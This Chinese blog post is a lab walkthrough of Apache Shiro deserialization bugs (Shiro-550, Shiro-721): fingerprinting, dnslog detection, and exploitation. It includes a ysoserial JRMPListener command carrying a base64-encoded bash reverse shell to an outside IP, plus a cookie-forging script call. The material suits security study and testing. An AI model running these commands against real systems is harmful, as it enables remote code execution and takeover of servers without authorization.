首页 > 其他分享 >反序列化漏洞-Apache Shiro

反序列化漏洞-Apache Shiro

时间:2023-05-15 18:33:08浏览次数:39  
标签:RememberMe ysoserial 漏洞 Apache 序列化 Shiro

Apache Shiro

一、shiro的相关介绍

1、Shiro概述

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权和会话管理等功能。Shiro框架直观、易用,同时也能提供更健壮的安全性。

2、Shiro历史漏洞(Shiro-550)

​ Apache Shiro框架提供了记住我的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的Cookie值,先进行base64解码然后AES序列化,就导致了反序列化RCE漏洞。

3、Shiro历史漏洞(Shiro-721)

​ 由于Apache Shiro Cookie中通过AES-128-CBC模式加密的RememberMe字段存在问题,用户可以通过Padding Oracle加密生成的攻击代码来构造恶意的RememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。

二、shiro的识别与发现

1、Shiro组件的识别

登录网站,输入身份信息,点击RememberMe之后,使用bp进行数据抓包,重定向到Repeater页面,发现Request页面里面的Set-Cookie:rememberMe=deleteMe,说明使用了Shiro组件。

2、Shiro漏洞检测(dnslog)

使用ShiroScan检测URL地址,查看是否有漏洞,将分析结构展示在dnslog/ceye平台。

三、Shiro漏洞利用

1、Shiro-550的利用(反弹shell)

使用nc监听一个端口,JavaRuntime配合bash编码(可以将管道符进行base64编码),在线编码地址: Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

通过ysoserial中JRMP监听模块,监听一个端口并执行反弹shell命令。java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "要执行的命令"。

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuOS4xOTguMzAvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}"

使用命令生成我们自己主机的cookie,然后复制到Shiro组件的请求体的Cookie那一块。

python shiro-cookie.py 192.168.130.137:1099

最后在本地监听1234端口,就拿到了靶机的权限了。

标签:RememberMe,ysoserial,漏洞,Apache,序列化,Shiro
From: https://www.cnblogs.com/-andrea/p/17402774.html

相关文章

  • C#中的对象序列化
    其实在以前的开发过程中,除了做爬虫用到json的时候用到序列化之外,其它地方我很少用到序列化。像我所处的上位机开发,硬件软件参数会经常发生更改,如果使用序列化,就会导致配置文件升级时候出现问题。至少以我目前的水平,还不知道其它更好的解决方案, 言归正传,在最近集成一个医院PAC......
  • org.apache.commons.exec.ExecuteException: Process exited with an error: 1 (Exit
    或者在POM中加入<plugins><plugin><groupId>org.codehaus.mojo</groupId><artifactId>exec-maven-plugin</artifactId><version>1.6.0</version><configuration><......
  • [springboot] 上传文件时,报"org.apache.tomcat.util.http.fileupload.impl.FileSizeLi
    1问题描述基于springmvc/springboot的MultipartFile接口实现上传文件功能时,报如下错误日志[2023/05/1322:31:54.732][TID:N/A][INFO][http-nio-8769-exec-5][AccessPathWebFilter.java:85doFilter][3-4]request-path:http://love.pfr.kim/user-service/v1/file-re......
  • Apache2.2.11+Tomcat6.0 集群配置 总结
    最近公司需要配置集群在网上找了很多的资料都没有怎么个成功配合网上的资料和一些博客总结如下:1负载均衡的概念:就是apache将客户请求均衡的分给tomcat1,tomcat2....去处理2环境说明(Apache端口:80不需出来Apache端口:8080在Apache安装bin目录下(dos下......
  • Json序列化对象后,使用Lombok后属性xAxis大写变成小写xaxis解决方法
    一、问题描述最近在开发后端接口时,发现返回结构中,一个字段大小写转化有问题。lombok版本:1.18.14VO对象如下,字段为echarts趋势图组件。预期返回xAxis,实际返回xaxis@DatapublicclassULineBarVO{/***X轴信息*/privateULineBarDataVOxAxis;/*......
  • 如何在虚拟机Linux系统下(Ubuntu)安装apache2?如何更改Apache2的默认欢迎界面(无障碍)
    一、apache2的安装:1、在图形界面下,先ctrl+alt+T打开终端2、登陆root账号:输入su输入之前设置的密码待$符号变成#时候,即获得root权限3、安装apache2:输入apt-getinstallapache24、启动apache2:输入serviceapache2start5、打开虚拟机的浏览器,输入网址localhost(或者是12......
  • org.apache.ibatis.binding.BindingException: Invalid bound statement (not found):
    记录一次踩坑看了很多网上的方法绝大多数是让你检查xml文件名或者是编译文件层级之类的都不对参考这里org.apache.ibatis.binding.BindingException:Invalidboundstatement(notfound)一般的原因是Mapperinterface和xml文件的定义对应不上,需要检查包名,namespace,函数......
  • 序列化器的序列化与反序列化
    目录一、序列化器介绍和快速使用(重点)1.1序列化类基本使用,序列化多条(使用方式类似forms组件)1.2序列化单条二、反序列化(重点)2.1反序列化的新增2.2反序列化的修改2.3删除单条三、完整的代码四、反序列化的校验五、序列化类常用字段和字段参数(了解)5.1常用字段类5.2常用字段......
  • Apache DolphinScheduler 开源之夏学生项目申请开启,6 大课题等你来拿万元奖金!
    开源之夏2023学生报名已经正式开启!ApacheDolphinScheduler今年继续参与开源之夏的活动,2023年4月29日-6月3日15:00UTC+8,同学们可以在开源之夏官网https://summer-ospp.ac.cn/找到ApacheDolphinScheduler下的项目,挑选自己感兴趣的课题,通过项目相对应导师联系方......
  • Web Services:Apache XML-RPC
    XML-RPC(http://ws.apache.org/xmlrpc/ )的全称是XML Remote Procedure Call,即XML远 程方法 调 用。是JAVA 实现 的XML-RPC。        这种远程过程调用使用http作为传输协议,XML作为传送信息的编码格式。Xml-Rpc的定义尽XML-RPC(http://ws.apache.org/xml......